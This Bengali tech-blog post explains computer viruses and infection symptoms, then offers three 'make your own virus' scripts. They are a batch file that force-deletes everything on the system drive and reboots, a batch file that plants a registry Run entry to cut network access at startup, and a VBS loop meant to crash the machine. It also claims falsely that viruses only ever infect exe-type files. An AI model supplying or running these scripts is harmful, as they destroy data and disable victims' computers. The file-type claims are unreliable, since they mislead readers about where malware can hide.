এখন ভাইরাস তৈরি করুন আপনার ইচ্ছামত

 

ভাইরাস কিঃ কম্পিউটারের ভাইরাস কি প্রশ্ন করলে একজন অদক্ষ লোক ও বলে দিতে পারবে এটি কম্পিউটারের শত্রু।এর থেকে দূরে থাকা দরকার।তবে এর মাধ্যমে পুরো উত্তরটা মনে হয় আসবেনা।কম্পিউটার দুটো জিনীসের সমন্বয়ে চলে একটি হার্ডওয়ার অন্যটি সফটওয়ার।আপনি যখন পুরো কম্পিউটারটি হার্ডওয়ার দিয়ে চলার উপযুক্ত করবেন তখন প্রয়োজন হবে অপারেটিং সিস্টেম,মাল্টিমিডিয়া,গ্রাফিক্স,ইউটিলিটি ইত্যাদি সফটওয়ারের যা ছাড়া আপনি কম্পিউটারটা ব্যবহার করতে পারবেনা।ভাইরাস ও সে রকম ১টি সফটওয়ার।তবে সামান্য পার্থক্য আছে। মাল্টিমিডিয়া,গ্রাফিক্স,ইউটিলিটি সফটওয়ার গুলো আপনি আপনার প্রয়োজন পুরণ করার জন্য ব্যবহার করে থাকেন।যে প্রোগ্রামার এটি তৈরি করুক না কেন এটি আপনি যখন ইন্সটল করবেন তখন থেকে আপনার কমান্ডমত এটি কাজ করবে।ভাইরাস কিন্তু আপনার কমান্ডমত কাজ করেনা।এটি যে প্রোগ্রামার তৈরি করে তার কাজ করে।আর ঐ প্রোগ্রামার তার বিভিন্ন উদ্দেশ্য সাধনের জন্য এগুলো তৈরি করে থাকে।এটি এমন এক সফটওয়ার যা ইউজারকে ফাকিঁ দিয়ে নিজে নিজে ইন্সটল হয়ে যায় এবং অল্প সময়ে পুরো কম্পিউটারের নিয়ন্ত্রণ নিয়ে ফেলে।পরে প্রোগ্রামারের উদ্দেশ্যে পূরণ করতে থাকে যার ফলাফল একজন ইউজারের সর্বনাশ।

কিভাবে আসেঃ কিভাবে এই সম্মানিত মেহমান কম্পিউটারে আসে তা বলার আগে কিভাবে এটি ছড়াই বললে মনে হয় আরো পরিস্কার হবে বিষয়টা।আপনাকে যদি কেউ প্রশ্ন করে বর্তমান বিশ্বে তথ্য আদান প্রদানের সবচেয়ে দ্রুত মাধ্যম কোনটি আপনি নিশ্চয় ইন্টারনেট ছাড়া অন্য কিছুর নাম বলবেন না।কারণ চিঠি পত্রের যুগ এখন শেষ পর্যায়ে।আপনি একটা চিঠি পাঠাবেন আমেরিকায় তার জন্য আপনি এখন আর টিউন অফিসে যাননা।কারণ আপনার ইন্টারনেট আছে।একই ভাবে আপনার একটা সফটওয়ার দরকার যেটা আজকেই বের হয়েছে কিছুক্ষণ আগে আমেরিকায়।তাহলে আপনি মার্কেটে গিয়ে হাজার টাকা দিলে ও সেটি পাবেন না।এর জন্য ও আপনার ভরসা ইন্টারনেট।টেক্সট,ইমেজ,অডিও,ভিডিও সব কিছুই আজ ইন্টারনেটের মাধ্যমে পাওয়া যায় যেখানে ভাইরাসটাও একটি।

কি ভাবে কাজ করে: কিভাবে কাজ করে তা জেনে লাভ নেই বরং তা একজন ইউজারের কী কী সমস্যা তৈরি করে তা জেনে নিই। শুরুতেই ১টা কথা বলি,ভাইরাস কিন্তু সবসময় exe, vbs এক্সটেনশনের হয় এবং আক্রমণও করে exe,xml,scr, এক্সটেনশনের ফাইলকে। তাই ইমেজ,টেক্সট,মিউজিক ইত্যাদি কোন ফাইল স্ক্যান করা আপনার নিষ্প্রয়োজন।সুতরাং আমরা শুধু exe ফাইলের কথাই বলব এখানে। অন্যকোন ফাইলকে সে কখনো আক্রমণ করেনা।তাই exeছাড়া অন্য ফাইল কোন কারণে করাপ্ডেট দেখলে ভাইরাসকে দায়ী করবেন না। বরং যেকোন ফাইল অপারেটিংগত ত্রুটির কারণে করাপ্টেড হতেই পারে।এবার আসুন সমস্যাগুলো দেখি। ১.একজন Administrative User কম্পিউটারকে নিজের মত চালানোর জন্য কিছু গুরুত্বপূর্ণ কমান্ড ব্যবহার করে।যেমন:টাস্কমেনেজার(ctrl+alt+Delete)।বাকি গুলো হল cmd,msconfig,gpedit.msc,regedit কমান্ড যা Run এ গিয়ে দিতে দিতে হয়। বলতে গেলে এ কমান্ডগুলোতেই থাকে একজন Administrative User এর সর্বোচ্চ পাওয়ার।কিন্তু ভাইরাস এ কমান্ডগুলোকে ডিজেবল করে দেয়।শত চেষ্টা করলেও(থার্ডপার্টি সফটওয়ার ছাড়া)কমান্ডগুলো কাজ করেনা।২.ফোল্ডার অপশন ডিজেবল হয়ে যায়।কখনো ফোল্ডার অপশন থাকে কিন্তু Show hidden files and folders অপশনটা কাজ করেনা।আপনি এই দিছেনতো অকে দেওয়ার পর আবার সেই আগের জায়গায় চলে যায়।৩.কখনো দেখা যায় আপনার ইন্সটল করা প্রোগ্রামগুলো কিছুক্ষণ পর খুলছেনা।খুলতে গেলে মেসেজ দেয়exe ফাইলটি পাওয়া যাচ্ছেনা।ইন্সটল করা সব প্রোগ্রামই এ সমস্যা করবে তেমন নয় বরং যে কটাকে ধরেছে এগুলোই করে।সাধারণত ভাইরাস এফেক্টেড সফটওয়ার ইন্সটল করলেই এ সমস্যা হয়।৪.উইন্ডোজ খোলার পথে বন্ধ হয়ে যায়,দাঁড়িয়ে থাকে বা বার বার রিস্টার্ট নেয়।৫.আমরা যখন অফিস ডকুমেন্টের(ওয়ার্ড,এক্সেল ইত্যাদি)কাজ করি তখন এগুলোর টেম্প ফাইল তৈরি হয় এবং ফাইল ক্লোজ করলে এগুলো অটোমেটিক চলে যায়।কিন্তু ভাইরাস এফেক্টেডের কারণে এগুলো যায়না বরং জমা হতে থাকে।৬.পিসিতে পেনড্রাইভ দিলেই অটোরান সহ অপরিচিত ফাইল তৈরি হয়।তাছাড়া পেনড্রাইভকে Safly remove করতে গেলে সেফলি রিমোভ হবেনা মেসেজ দেয় অর্থাৎ পেনড্রাইভকে Safly remove করা যায়না।৭.EXPLORER.EXE এর Process বন্ধ হয়ে যায় যার ফলে ডেস্কটপের সবকিছু অদৃশ্য হয়ে যায়।
আরো কিছু উপসর্গ মাঝে মধ্যে দেখা যায়।তবে উপরের কারণগুলো যদি দেখেন তাহলে আপনি নিশ্চিত হতে পারেন আপনার পিসিটি ভাইরাস আক্রান্ত।সবগুলো উপসর্গই যে একসাথে পাবেন তেমন কিন্তু নই।বরং একটা দুটা যেকটা পাবেন তাই।উপরুক্ত চিহ্নগুলো চেক করে(বিশেষ করে ফোল্ডার অপশন আর পেনড্রাইভ সমস্যা) কোন পিসিতে হাত দিয়ে আপনি মুহুর্তেই বলে দিতে পারবেন ঐ পিসিটি ভাইরাস আক্রান্ত কিনা।
এবার বলি আপনার পিসির কী কী ক্ষতি করতে পারে।মূলত উপরে বর্ণিত কাজগুলো দ্বারা সে আপনার উইন্ডোজকে নিজের নিয়ন্তণে নেয়।আপনার পিসিতে দিনের পর দিন ঐ সমস্যাগুলো একটা থেকে দুটা বাড়তে থাকে।আস্তে আস্তে সি ড্রাইভ(উইন্ডোজ ড্রাইভ)থেকে চলে যায় অন্য ড্রাইভে।১মে অন্য ড্রাইভের System Volume Information কে আক্রমণ করে।পরে ঐড্রাইভে যেexe ফাইল বা সেটআপ ফাইল থাকে তাকে আক্রমণ করে।ফলে আক্রান্ত ফাইলটা হয়ে যায় ভাইরাস এফেক্টেড ফাইল।পরবর্তীতে আপনি সেটা ইন্সটল করেন।অথচ সে ফাইলগুলো আপনার মুল্যবান বেকআপ ফাইল।তাছাড়া কোন কোন ভাইরাস ড্রাইভগুলোতে অটোরান ফাইল তৈরি করে।এঅবস্থায় ডাবল ক্লিক করলে ড্রাইভগুলো খোলেনা বরং এক্সপ্লোরার থেকে খুলতে হয়।অটোরান ফাইলটি মুছে দিলেও পরে আবার তৈরি হয়।কারণ আপনার উইন্ডোজটা আক্রান্ত।
সম্ভব হলে একটা পরামর্শ নিন:-আপনার পিসি যখন ভাইরাসে আক্রান্ত হয় তখন উপরের সমস্যাগুলো কিছু থার্ডপাটি সফটওয়ার দিয়ে সাময়িক নিরাময় করা যায়।কিন্তু জরুরি প্রয়োজনটা মিটিয়েই সচেতন হোন।তখন ওইন্ডোজটা রিইন্সটল না দিয়ে পুরু দেবেন।কেন দেবেন?থার্ডপাটি দিয়ে সমাধান পেয়েছেন মানে এ নয় আপনি ভাইরাসটা শেষ করতে পেরেছেন।বরং সেটা তার কাজ চালিয়ে যায় যতক্ষণ পিসি ওপেন থাকে।আপনি বলতে পারেন এন্টিভাইরাস দিয়ে স্ক্যান করব আর কি।একদম শুরুর পর্যায়ে হলে আপনার কথাটা ঠিক আছে।কিন্তু ভাইরাসটা খুব শক্তিশালি হলে বা বেশি ছড়িয়ে পড়লে আপনার কথাটার কোন মুল্য নাই।তাছাড়া ভাইরাস সিস্টেম ফাইলগুলোকে খুবই দুর্বল করে ফেলে। তাই আপনি স্ক্যান করে ভাইরাসগুলো তাড়াতে পারলেও আক্রান্ত সিস্টেম ফাইলগুলো পুরো পারফরমেন্স দেখাতে পারেনা।তখন পিসি হয়ে যায় স্লো।তাছাড়া শক্তিশালি ভাইরাসগুলো এন্টিভাইরাসকে ফাঁকি দিয়ে একবার ঢুকতে পারলে এন্টিভাইরাস তাকে আর ধরতে পারেনা।কিন্তু কষ্ট করে বিলগেটসকে নতুনভাবে দিয়ে দিলে ঝামেলা শেষ।তখন ড্রাইভের অটোরান ফাইলগুলোও ডিলিট করতে পারবেন সহজে।তবে অবশ্যই এ সমস্যায় ড্রপডাউন মেন্যু দিয়ে ড্রাইভে ঢুকবেন।

 

নোটপ্যাড তৈরী করুন ভাইরাস:

এই ভাইরাসটি একটি ড্রাইভের সব ডাটা মুছে দিতে পারে। প্রথমে নোটপ্যাড ওপেন করুন এবং নিচের কোডটি লিখুন:
                   @echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

এবার যেকোন নাম দিয়ে  .bat এ সেভ করে ফেলুন।
২।এই ভাইরাসটি ইন্টারনেট disable করে দিতে পারে।নোটপ্যাড ওপেন করুন এবং নিচের কোডটি লিখুন
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv               ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

এটিও .bat দিয়ে সেভ করুন।
৩।এটি কম্পিউটারকে ক্র্যাশ করতে পারে।নোটপ্যাড ওপেন করুন এবং নিচের কোডটি লিখুন
Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next
এটি  .vbs দিয়ে সেভ করুন।
বিঃদ্রঃএগুলো নিজের পিসিতে রান করাবেন না।সম্পূর্ণ নিজ দায়িত্বে ব্যবহার করবেন।কোন প্রকার ক্ষতির জন্য আমি দায়ী নই।

আমাকে পাবেন আমার নিজস্ব ব্লগে ।  যে কোনও প্রয়োজনে আমাকে পাবেন ফেসবুকে

Level 0

আমি Subrata deb nath। Full Stack Web Developer, Sbtechbd Technology, Dhaka। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 11 বছর 9 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 25 টি টিউন ও 13 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 1 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস